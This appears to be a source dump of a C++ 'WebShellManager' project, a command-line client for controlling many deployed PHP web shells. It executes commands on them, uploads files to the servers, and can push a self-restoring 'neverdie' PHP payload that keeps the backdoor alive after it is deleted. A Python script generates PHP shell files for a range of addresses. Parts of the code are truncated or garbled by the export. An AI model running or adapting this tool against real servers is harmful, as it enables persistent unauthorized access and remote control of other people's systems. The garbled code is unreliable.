| WebShell.s: WebShell.cpp.s 145 | 146 | .PHONY : WebShell.s 147 | 148 | # target to generate assembly for a file 149 | WebShell.cpp.s: 150 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/WebShell.cpp.s 151 | .PHONY : WebShell.cpp.s 152 | 153 | cryptohelper.o: cryptohelper.cpp.o 154 | 155 | .PHONY : cryptohelper.o 156 | 157 | # target to build an object file 158 | cryptohelper.cpp.o: 159 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o 160 | .PHONY : cryptohelper.cpp.o 161 | 162 | cryptohelper.i: cryptohelper.cpp.i 163 | 164 | .PHONY : cryptohelper.i 165 | 166 | # target to preprocess a source file 167 | cryptohelper.cpp.i: 168 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/cryptohelper.cpp.i 169 | .PHONY : cryptohelper.cpp.i 170 | 171 | cryptohelper.s: cryptohelper.cpp.s 172 | 173 | .PHONY : cryptohelper.s 174 | 175 | # target to generate assembly for a file 176 | cryptohelper.cpp.s: 177 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/cryptohelper.cpp.s 178 | .PHONY : cryptohelper.cpp.s 179 | 180 | curlhelper.o: curlhelper.cpp.o 181 | 182 | .PHONY : curlhelper.o 183 | 184 | # target to build an object file 185 | curlhelper.cpp.o: 186 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/curlhelper.cpp.o 187 | .PHONY : curlhelper.cpp.o 188 | 189 | curlhelper.i: curlhelper.cpp.i 190 | 191 | .PHONY : curlhelper.i 192 | 193 | # target to preprocess a source file 194 | curlhelper.cpp.i: 195 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/curlhelper.cpp.i 196 | .PHONY : curlhelper.cpp.i 197 | 198 | curlhelper.s: curlhelper.cpp.s 199 | 200 | .PHONY : curlhelper.s 201 | 202 | # target to generate assembly for a file 203 | curlhelper.cpp.s: 204 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/curlhelper.cpp.s 205 | .PHONY : curlhelper.cpp.s 206 | 207 | main.o: main.cpp.o 208 | 209 | .PHONY : main.o 210 | 211 | # target to build an object file 212 | main.cpp.o: 213 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/main.cpp.o 214 | .PHONY : main.cpp.o 215 | 216 | main.i: main.cpp.i 217 | 218 | .PHONY : main.i 219 | 220 | # target to preprocess a source file 221 | main.cpp.i: 222 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/main.cpp.i 223 | .PHONY : main.cpp.i 224 | 225 | main.s: main.cpp.s 226 | 227 | .PHONY : main.s 228 | 229 | # target to generate assembly for a file 230 | main.cpp.s: 231 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/main.cpp.s 232 | .PHONY : main.cpp.s 233 | 234 | # Help Target 235 | help: 236 | @echo "The following are some of the valid targets for this Makefile:" 237 | @echo "... all (the default if no target is provided)" 238 | @echo "... clean" 239 | @echo "... depend" 240 | @echo "... rebuild_cache" 241 | @echo "... edit_cache" 242 | @echo "... WebShellManager" 243 | @echo "... WebShell.o" 244 | @echo "... WebShell.i" 245 | @echo "... WebShell.s" 246 | @echo "... cryptohelper.o" 247 | @echo "... cryptohelper.i" 248 | @echo "... cryptohelper.s" 249 | @echo "... curlhelper.o" 250 | @echo "... curlhelper.i" 251 | @echo "... curlhelper.s" 252 | @echo "... main.o" 253 | @echo "... main.i" 254 | @echo "... main.s" 255 | .PHONY : help 256 | 257 | 258 | 259 | #============================================================================= 260 | # Special targets to cleanup operation of make. 261 | 262 | # Special rule to run CMake to check the build system integrity. 263 | # No rule that depends on this can have commands that come from listfiles 264 | # because they might be regenerated. 265 | cmake_check_build_system: 266 | $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0 267 | .PHONY : cmake_check_build_system 268 | 269 | -------------------------------------------------------------------------------- /cmake-build-debug/WebShellManager: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/cmake-build-debug/WebShellManager -------------------------------------------------------------------------------- /cmake-build-debug/WebShellManager.cbp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 115 | 116 | -------------------------------------------------------------------------------- /cmake-build-debug/cmake_install.cmake: -------------------------------------------------------------------------------- 1 | # Install script for directory: /home/image/projects/WebShellManager 2 | 3 | # Set the install prefix 4 | if(NOT DEFINED CMAKE_INSTALL_PREFIX) 5 | set(CMAKE_INSTALL_PREFIX "/usr/local") 6 | endif() 7 | string(REGEX REPLACE "/$" "" CMAKE_INSTALL_PREFIX "${CMAKE_INSTALL_PREFIX}") 8 | 9 | # Set the install configuration name. 10 | if(NOT DEFINED CMAKE_INSTALL_CONFIG_NAME) 11 | if(BUILD_TYPE) 12 | string(REGEX REPLACE "^[^A-Za-z0-9_]+" "" 13 | CMAKE_INSTALL_CONFIG_NAME "${BUILD_TYPE}") 14 | else() 15 | set(CMAKE_INSTALL_CONFIG_NAME "Debug") 16 | endif() 17 | message(STATUS "Install configuration: \"${CMAKE_INSTALL_CONFIG_NAME}\"") 18 | endif() 19 | 20 | # Set the component getting installed. 21 | if(NOT CMAKE_INSTALL_COMPONENT) 22 | if(COMPONENT) 23 | message(STATUS "Install component: \"${COMPONENT}\"") 24 | set(CMAKE_INSTALL_COMPONENT "${COMPONENT}") 25 | else() 26 | set(CMAKE_INSTALL_COMPONENT) 27 | endif() 28 | endif() 29 | 30 | # Install shared libraries without execute permission? 31 | if(NOT DEFINED CMAKE_INSTALL_SO_NO_EXE) 32 | set(CMAKE_INSTALL_SO_NO_EXE "1") 33 | endif() 34 | 35 | if(CMAKE_INSTALL_COMPONENT) 36 | set(CMAKE_INSTALL_MANIFEST "install_manifest_${CMAKE_INSTALL_COMPONENT}.txt") 37 | else() 38 | set(CMAKE_INSTALL_MANIFEST "install_manifest.txt") 39 | endif() 40 | 41 | string(REPLACE ";" "\n" CMAKE_INSTALL_MANIFEST_CONTENT 42 | "${CMAKE_INSTALL_MANIFEST_FILES}") 43 | file(WRITE "/home/image/projects/WebShellManager/cmake-build-debug/${CMAKE_INSTALL_MANIFEST}" 44 | "${CMAKE_INSTALL_MANIFEST_CONTENT}") 45 | -------------------------------------------------------------------------------- /cmake_install.cmake: -------------------------------------------------------------------------------- 1 | # Install script for directory: /home/image/projects/WebShellManager 2 | 3 | # Set the install prefix 4 | if(NOT DEFINED CMAKE_INSTALL_PREFIX) 5 | set(CMAKE_INSTALL_PREFIX "/usr/local") 6 | endif() 7 | string(REGEX REPLACE "/$" "" CMAKE_INSTALL_PREFIX "${CMAKE_INSTALL_PREFIX}") 8 | 9 | # Set the install configuration name. 10 | if(NOT DEFINED CMAKE_INSTALL_CONFIG_NAME) 11 | if(BUILD_TYPE) 12 | string(REGEX REPLACE "^[^A-Za-z0-9_]+" "" 13 | CMAKE_INSTALL_CONFIG_NAME "${BUILD_TYPE}") 14 | else() 15 | set(CMAKE_INSTALL_CONFIG_NAME "Debug") 16 | endif() 17 | message(STATUS "Install configuration: \"${CMAKE_INSTALL_CONFIG_NAME}\"") 18 | endif() 19 | 20 | # Set the component getting installed. 21 | if(NOT CMAKE_INSTALL_COMPONENT) 22 | if(COMPONENT) 23 | message(STATUS "Install component: \"${COMPONENT}\"") 24 | set(CMAKE_INSTALL_COMPONENT "${COMPONENT}") 25 | else() 26 | set(CMAKE_INSTALL_COMPONENT) 27 | endif() 28 | endif() 29 | 30 | # Install shared libraries without execute permission? 31 | if(NOT DEFINED CMAKE_INSTALL_SO_NO_EXE) 32 | set(CMAKE_INSTALL_SO_NO_EXE "1") 33 | endif() 34 | 35 | if(CMAKE_INSTALL_COMPONENT) 36 | set(CMAKE_INSTALL_MANIFEST "install_manifest_${CMAKE_INSTALL_COMPONENT}.txt") 37 | else() 38 | set(CMAKE_INSTALL_MANIFEST "install_manifest.txt") 39 | endif() 40 | 41 | string(REPLACE ";" "\n" CMAKE_INSTALL_MANIFEST_CONTENT 42 | "${CMAKE_INSTALL_MANIFEST_FILES}") 43 | file(WRITE "/home/image/projects/WebShellManager/${CMAKE_INSTALL_MANIFEST}" 44 | "${CMAKE_INSTALL_MANIFEST_CONTENT}") 45 | -------------------------------------------------------------------------------- /cryptohelper.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/cryptohelper.cpp -------------------------------------------------------------------------------- /cryptohelper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | using namespace std; 5 | 6 | enum ENCRYPT_METHOD {BASE64_ENCODE,BASE64_DECODE,ROT13,REVERSE,PAADING}; 7 | const char kBase64Alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 8 | "abcdefghijklmnopqrstuvwxyz" 9 | "0123456789+/"; 10 | 11 | class Base64 { 12 | public: 13 | static bool Encode(const std::string &in, std::string *out) { 14 | int i = 0, j = 0; 15 | size_t enc_len = 0; 16 | unsigned char a3[3]; 17 | unsigned char a4[4]; 18 | 19 | out->resize(EncodedLength(in)); 20 | 21 | int input_len = in.size(); 22 | std::string::const_iterator input = in.begin(); 23 | 24 | while (input_len--) { 25 | a3[i++] = *(input++); 26 | if (i == 3) { 27 | a3_to_a4(a4, a3); 28 | 29 | for (i = 0; i < 4; i++) { 30 | (*out)[enc_len++] = kBase64Alphabet[a4[i]]; 31 | } 32 | 33 | i = 0; 34 | } 35 | } 36 | 37 | if (i) { 38 | for (j = i; j < 3; j++) { 39 | a3[j] = '\0'; 40 | } 41 | 42 | a3_to_a4(a4, a3); 43 | 44 | for (j = 0; j < i + 1; j++) { 45 | (*out)[enc_len++] = kBase64Alphabet[a4[j]]; 46 | } 47 | 48 | while ((i++ < 3)) { 49 | (*out)[enc_len++] = '='; 50 | } 51 | } 52 | 53 | return (enc_len == out->size()); 54 | } 55 | 56 | static bool Encode(const char *input, size_t input_length, char *out, size_t out_length) { 57 | int i = 0, j = 0; 58 | char *out_begin = out; 59 | unsigned char a3[3]; 60 | unsigned char a4[4]; 61 | 62 | size_t encoded_length = EncodedLength(input_length); 63 | 64 | if (out_length < encoded_length) return false; 65 | 66 | while (input_length--) { 67 | a3[i++] = *input++; 68 | if (i == 3) { 69 | a3_to_a4(a4, a3); 70 | 71 | for (i = 0; i < 4; i++) { 72 | *out++ = kBase64Alphabet[a4[i]]; 73 | } 74 | 75 | i = 0; 76 | } 77 | } 78 | 79 | if (i) { 80 | for (j = i; j < 3; j++) { 81 | a3[j] = '\0'; 82 | } 83 | 84 | a3_to_a4(a4, a3); 85 | 86 | for (j = 0; j < i + 1; j++) { 87 | *out++ = kBase64Alphabet[a4[j]]; 88 | } 89 | 90 | while ((i++ < 3)) { 91 | *out++ = '='; 92 | } 93 | } 94 | 95 | return (out == (out_begin + encoded_length)); 96 | } 97 | 98 | static bool Decode(const std::string &in, std::string *out) { 99 | int i = 0, j = 0; 100 | size_t dec_len = 0; 101 | unsigned char a3[3]; 102 | unsigned char a4[4]; 103 | 104 | int input_len = in.size(); 105 | std::string::const_iterator input = in.begin(); 106 | 107 | out->resize(DecodedLength(in)); 108 | 109 | while (input_len--) { 110 | if (*input == '=') { 111 | break; 112 | } 113 | 114 | a4[i++] = *(input++); 115 | if (i == 4) { 116 | for (i = 0; i <4; i++) { 117 | a4[i] = b64_lookup(a4[i]); 118 | } 119 | 120 | a4_to_a3(a3, a4); 121 | 122 | for (i = 0; i < 3; i++) { 123 | (*out)[dec_len++] = a3[i]; 124 | } 125 | 126 | i = 0; 127 | } 128 | } 129 | 130 | if (i) { 131 | for (j = i; j < 4; j++) { 132 | a4[j] = '\0'; 133 | } 134 | 135 | for (j = 0; j < 4; j++) { 136 | a4[j] = b64_lookup(a4[j]); 137 | } 138 | 139 | a4_to_a3(a3, a4); 140 | 141 | for (j = 0; j < i - 1; j++) { 142 | (*out)[dec_len++] = a3[j]; 143 | } 144 | } 145 | 146 | return (dec_len == out->size()); 147 | } 148 | 149 | static bool Decode(const char *input, size_t input_length, char *out, size_t out_length) { 150 | int i = 0, j = 0; 151 | char *out_begin = out; 152 | unsigned char a3[3]; 153 | unsigned char a4[4]; 154 | 155 | size_t decoded_length = DecodedLength(input, input_length); 156 | 157 | if (out_length < decoded_length) return false; 158 | 159 | while (input_length--) { 160 | if (*input == '=') { 161 | break; 162 | } 163 | 164 | a4[i++] = *(input++); 165 | if (i == 4) { 166 | for (i = 0; i <4; i++) { 167 | a4[i] = b64_lookup(a4[i]); 168 | } 169 | 170 | a4_to_a3(a3, a4); 171 | 172 | for (i = 0; i < 3; i++) { 173 | *out++ = a3[i]; 174 | } 175 | 176 | i = 0; 177 | } 178 | } 179 | 180 | if (i) { 181 | for (j = i; j < 4; j++) { 182 | a4[j] = '\0'; 183 | } 184 | 185 | for (j = 0; j < 4; j++) { 186 | a4[j] = b64_lookup(a4[j]); 187 | } 188 | 189 | a4_to_a3(a3, a4); 190 | 191 | for (j = 0; j < i - 1; j++) { 192 | *out++ = a3[j]; 193 | } 194 | } 195 | 196 | return (out == (out_begin + decoded_length)); 197 | } 198 | 199 | static int DecodedLength(const char *in, size_t in_length) { 200 | int numEq = 0; 201 | 202 | const char *in_end = in + in_length; 203 | while (*--in_end == '=') ++numEq; 204 | 205 | return ((6 * in_length) / 8) - numEq; 206 | } 207 | 208 | static int DecodedLength(const std::string &in) { 209 | int numEq = 0; 210 | int n = in.size(); 211 | 212 | for (std::string::const_reverse_iterator it = in.rbegin(); *it == '='; ++it) { 213 | ++numEq; 214 | } 215 | 216 | return ((6 * n) / 8) - numEq; 217 | } 218 | 219 | inline static int EncodedLength(size_t length) { 220 | return (length + 2 - ((length + 2) % 3)) / 3 * 4; 221 | } 222 | 223 | inline static int EncodedLength(const std::string &in) { 224 | return EncodedLength(in.length()); 225 | } 226 | 227 | inline static void StripPadding(std::string *in) { 228 | while (!in->empty() && *(in->rbegin()) == '=') in->resize(in->size() - 1); 229 | } 230 | 231 | private: 232 | static inline void a3_to_a4(unsigned char * a4, unsigned char * a3) { 233 | a4[0] = (a3[0] & 0xfc) >> 2; 234 | a4[1] = ((a3[0] & 0x03) << 4) + ((a3[1] & 0xf0) >> 4); 235 | a4[2] = ((a3[1] & 0x0f) << 2) + ((a3[2] & 0xc0) >> 6); 236 | a4[3] = (a3[2] & 0x3f); 237 | } 238 | 239 | static inline void a4_to_a3(unsigned char * a3, unsigned char * a4) { 240 | a3[0] = (a4[0] << 2) + ((a4[1] & 0x30) >> 4); 241 | a3[1] = ((a4[1] & 0xf) << 4) + ((a4[2] & 0x3c) >> 2); 242 | a3[2] = ((a4[2] & 0x3) << 6) + a4[3]; 243 | } 244 | 245 | static inline unsigned char b64_lookup(unsigned char c) { 246 | if (c >= 'A' && c <= 'Z') return c - 'A'; 247 | if (c >= 'a' && c <= 'z') return c - 71; 248 | if (c >= '0' && c <= '9') return c + 4; 249 | if (c == '+') return 62; 250 | if (c == '/') return 63; 251 | return 255; 252 | } 253 | }; 254 | 255 | 256 | class cryptohelper 257 | { 258 | public: 259 | cryptohelper(); 260 | ~cryptohelper(); 261 | static string base64_encode(string source); 262 | static string base64_decode(string source); 263 | /*static byte* aes_ecb_encrypt(string source, byte* key,int size); 264 | static byte* aes_ecb_decrypt(string encrypted, byte* key,int size); 265 | static string aes_cbc_encrypt(string source, string key,string iv); 266 | static string aes_cbc_decrypt(string encrypted, string key); 267 | static string aes_fcb_encrypt(string source, string key); 268 | static string aes_fcb_decrypt(string source, string key);*/ 269 | static string rot13(string source); 270 | //static string hex(byte* source,size_t size); 271 | //static byte* dehex(string source); 272 | }; 273 | 274 | -------------------------------------------------------------------------------- /curlhelper.h: -------------------------------------------------------------------------------- 1 | 2 | /************************************************************************** 3 | Copyright:Image 4 | Author: Image 5 | Date:2017-09-05 6 | Description:a curl helper class 7 | ***************************************************************************/ 8 | 9 | #pragma once 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include "curl/curl.h" 18 | 19 | enum METHOD { POST, GET }; 20 | enum STATUS { SUCCESS, FAIL }; 21 | class curlhelper 22 | { 23 | public: 24 | static size_t storeFile(void* ptr, size_t size, size_t nmemb, void *filename); 25 | static size_t storeAns(void *ptr, size_t size, size_t nmemb, void *userdata); 26 | static std::string UrlDecode(const std::string& szToDecode); 27 | static std::string UrlEncode(const std::string& szToEncode); 28 | //static std::string UTF8ToGBK(const std::string& strUTF8); 29 | //static std::string GBKToUTF8(const std::string& strGBK); 30 | static CURLcode get(std::string url, 31 | std::string& ans, 32 | std::map*params = NULL, 33 | std::map*customHeaders = NULL, 34 | std::map*cookies = NULL 35 | ); 36 | static CURLcode download_by_post(std::string url, 37 | std::string& filename, 38 | std::map*params = NULL, 39 | std::map*customHeaders = NULL, 40 | std::map*cookies = NULL, 41 | std::map*getparams = NULL 42 | ); 43 | static CURLMcode postfile(std::string url, 44 | std::map files, 45 | std::string& ans, 46 | std::map*params = NULL, 47 | std::map*customHeaders = NULL, 48 | std::map*cookies = NULL, 49 | std::map*getparams = NULL 50 | ); 51 | static CURLcode download_by_get(std::string url, 52 | std::string& filename, 53 | std::map*params=NULL, 54 | std::map*customHeaders = NULL, 55 | std::map*cookies = NULL 56 | ); 57 | static CURLcode post(std::string url, 58 | std::string& ans, 59 | std::map*params = NULL, 60 | std::map*customHeaders = NULL, 61 | std::map*cookies = NULL, 62 | std::map*getparams = NULL, 63 | bool timeout = true 64 | ); 65 | }; 66 | 67 | -------------------------------------------------------------------------------- /generateStandardShell.py: -------------------------------------------------------------------------------- 1 | import json 2 | import random 3 | ans=[] 4 | for i in range(0,128): 5 | address="192.168.0.%d"%i 6 | t={ 7 | "address":address, 8 | "pass":str(random.random()), 9 | "method":"POST", 10 | "custom":{ 11 | "addonpost":{}, 12 | "addonget":{}, 13 | "place":"", 14 | "encrypt":"BASE64_ENCODE", 15 | "placevalue":"" 16 | } 17 | } 18 | ans.append(t) 19 | f=open("shells/"+address+".php","w") 20 | f.write(" 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include"json.hpp" 10 | 11 | using namespace std; 12 | using json = nlohmann::json; 13 | vector shells; 14 | json j; 15 | mutex mtx; 16 | 17 | class OutofBondExcetion:public exception{ 18 | public: 19 | OutofBondExcetion():exception(logic_error("Error:webshell out of bond\n")){ 20 | } 21 | }; 22 | 23 | 24 | bool addShell(WebShell shell){ 25 | try{ 26 | shells.push_back(shell); 27 | } 28 | catch(exception& e){ 29 | cout<<"[-]failed to add new shell:"<shells.size())throw OutofBondExcetion(); 37 | return shells[shellid].ShellCommandExec(command,answer); 38 | } 39 | void neverdie(int shellid){ 40 | if(shellid<0 ||shellid>shells.size())throw OutofBondExcetion(); 41 | string payload="error_reporting(0);" 42 | "ignore_user_abort(true);" 43 | "set_time_limit(0);" 44 | "$mb = preg_replace(\"/\\((.*)$/\",'',__FILE__);" 45 | "$nr =file_get_contents($mb); " 46 | "$md5=md5($nr);" 47 | "while (1==1) {" 48 | "if(!file_exists($mb) || file_get_contents($mb)!=$nr) {" 49 | "if(file_exists($mb))@unlink($mb);" 50 | "file_put_contents($mb, $nr); " 51 | "usleep(100000);" 52 | "}" 53 | "};"; 54 | string ans; 55 | shells[shellid].php_exec(payload,ans); 56 | cout<<"thread terminated:"<shells.size())throw OutofBondExcetion(); 60 | string answer; 61 | ExecuteCommand(shellid,command,answer); 62 | if(sync){ 63 | if(mtx.try_lock()){ 64 | cout<<"executing command "<shells.size())throw OutofBondExcetion(); 80 | shells[shellid].UploadFile(source,dest); 81 | if(sync){ 82 | if(mtx.try_lock()){ 83 | cout<<"[+]push file "<()=="GET")meth=GET; 94 | else meth=POST; 95 | WebShell temp(shell["address"].get(),meth,shell["pass"].get()); 96 | if(shell["custom"].is_object()){ 97 | if(shell["custom"]["encrypt"].is_string()) 98 | temp.ParseMethod(shell["custom"]["encrypt"].get()); 99 | if(shell["custom"]["place"].is_string() && shell["custom"]["placevalue"].is_string()) 100 | temp.setPlace(shell["custom"]["place"].get(),shell["custom"]["placevalue"].get()); 101 | if(shell["custom"]["addonget"].is_object()){ 102 | for(json::iterator getIter=shell["custom"]["addonget"].begin();getIter!=shell["custom"]["addonget"].end();++getIter){ 103 | temp.addAddonGet(getIter.key(),getIter.value().get()); 104 | } 105 | } 106 | if(shell["custom"]["addonpost"].is_object()){ 107 | for(json::iterator postIter=shell["custom"]["addonpost"].begin();postIter!=shell["custom"]["addonpost"].end();++postIter){ 108 | temp.addAddonPost(postIter.key(),postIter.value().get()); 109 | } 110 | } 111 | if(shell["custom"]["cookies"].is_object()){ 112 | cout<<"hooray cookie!!"<()); 115 | cout<<"add cookie!!!"<()); 121 | } 122 | } 123 | } 124 | j.push_back(shell); 125 | fstream of("shells.json",ios::out); 126 | of<T stringToNum(string &str){ 131 | istringstream stream(str.c_str()); 132 | T num; 133 | stream>>num; 134 | return num; 135 | } 136 | vector threads; 137 | int main(){ 138 | cout<<"brand new version"<>j; 143 | } 144 | config.close(); 145 | if(j.is_array()){ 146 | for(json::iterator it=j.begin();it!=j.end();++it){ 147 | METHOD meth; 148 | if((*it)["method"].get()=="GET")meth=GET; 149 | else meth=POST; 150 | WebShell temp((*it)["address"].get(),meth,(*it)["pass"].get()); 151 | if((*it)["custom"].is_object()){ 152 | if((*it)["custom"]["encrypt"].is_string()) 153 | temp.ParseMethod((*it)["custom"]["encrypt"].get()); 154 | if((*it)["custom"]["place"].is_string() && (*it)["custom"]["placevalue"].is_string()) 155 | temp.setPlace((*it)["custom"]["place"].get(),(*it)["custom"]["placevalue"].get()); 156 | if((*it)["custom"]["addonget"].is_object()){ 157 | for(json::iterator getIter=(*it)["custom"]["addonget"].begin();getIter!=(*it)["custom"]["addonget"].end();++getIter){ 158 | temp.addAddonGet(getIter.key(),getIter.value().get()); 159 | } 160 | } 161 | if((*it)["custom"]["addonpost"].is_object()){ 162 | for(json::iterator postIter=(*it)["custom"]["addonpost"].begin();postIter!=(*it)["custom"]["addonpost"].end();++postIter){ 163 | temp.addAddonPost(postIter.key(),postIter.value().get()); 164 | } 165 | } 166 | if((*it)["custom"]["cookies"].is_object()){ 167 | 168 | for(json::iterator cookieIter=(*it)["custom"]["cookies"].begin();cookieIter!=(*it)["custom"]["cookies"].end();cookieIter++){ 169 | temp.addCookie(cookieIter.key(),cookieIter.value().get()); 170 | 171 | } 172 | } 173 | if((*it)["custom"]["headers"].is_object()){ 174 | for(json::iterator headerIter=(*it)["custom"]["headers"].begin();headerIter!=(*it)["custom"]["headers"].end();++headerIter){ 175 | temp.addHeader(headerIter.key(),headerIter.value().get()); 176 | } 177 | } 178 | } 179 | shells.push_back(temp); 180 | } 181 | } 182 | } 183 | catch(exception& e){ 184 | cout<<"[-]exception occured:"<"; 188 | while(getline(cin,command)){ 189 | try{ 190 | vector parseRes; 191 | int begin,end; 192 | begin=end=0; 193 | int i=0; 194 | while((end=command.find(' ',begin))!=string::npos){ 195 | parseRes.push_back(command.substr(begin,end-begin)); 196 | begin=command.find_first_not_of(' ',end); 197 | i++; 198 | //if(i==2) 199 | //break; 200 | } 201 | parseRes.push_back(command.substr(begin)); 202 | if(parseRes.size()>0){ 203 | if(parseRes[0]=="add"){ 204 | if(parseRes.size()<2){ 205 | cerr<<"[-]invalid syntax"<(parseRes[1]); 223 | if(num>=shells.size() || num<0){ 224 | cerr<<"[-]num exceeded"<3){ 239 | for(int i=3;i(parseRes[1]); 252 | if(num>=shells.size() || num<0){ 253 | cerr<<"[-]num exceeded"<::iterator it=shells.begin();it!=shells.end();++it){ 266 | cout<<"Shell["<getAddress()<1)break; 288 | (*paths[point])+=(parseRes[j][parseRes[j].length()-1]=='\\'?parseRes[j].substr(0,parseRes[j].length()-1)+' ':parseRes[j]); 289 | } 290 | } 291 | if(parseRes[1]=="all"){ 292 | for(int i=0;i(parseRes[1]),sourcepath,destpath,true)); 297 | } 298 | 299 | } 300 | else if(parseRes[0]=="neverdie"){ 301 | if(parseRes.size()<2){ 302 | cerr<<"[-]syntax error"<(parseRes[1]); 306 | threads.push_back(thread(neverdie,shellid)); 307 | } 308 | else if(parseRes[0]=="quit" || parseRes[0]=="q" || parseRes[0]=="Q"){ 309 | break; 310 | } 311 | else{ 312 | cout<<"[+]Usage:\n" 313 | "list: show all the shells\n" 314 | "add jsondata:add a shell\n" 315 | "delete index:delete a shell\n" 316 | "execute index command: execute command on a shell or all the shells\n" 317 | "push index sourcepath destpath: push file to the remote server\n" 318 | "neverdie index: update current shell to neverdie mode\n" 319 | <"; 337 | } 338 | 339 | } 340 | -------------------------------------------------------------------------------- /shells.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "address":"http://127.0.0.1/shell.php", 3 | "custom":{ 4 | }, 5 | "pass":"imagemlt", 6 | "method":"POST" 7 | }] 8 | --------------------------------------------------------------------------------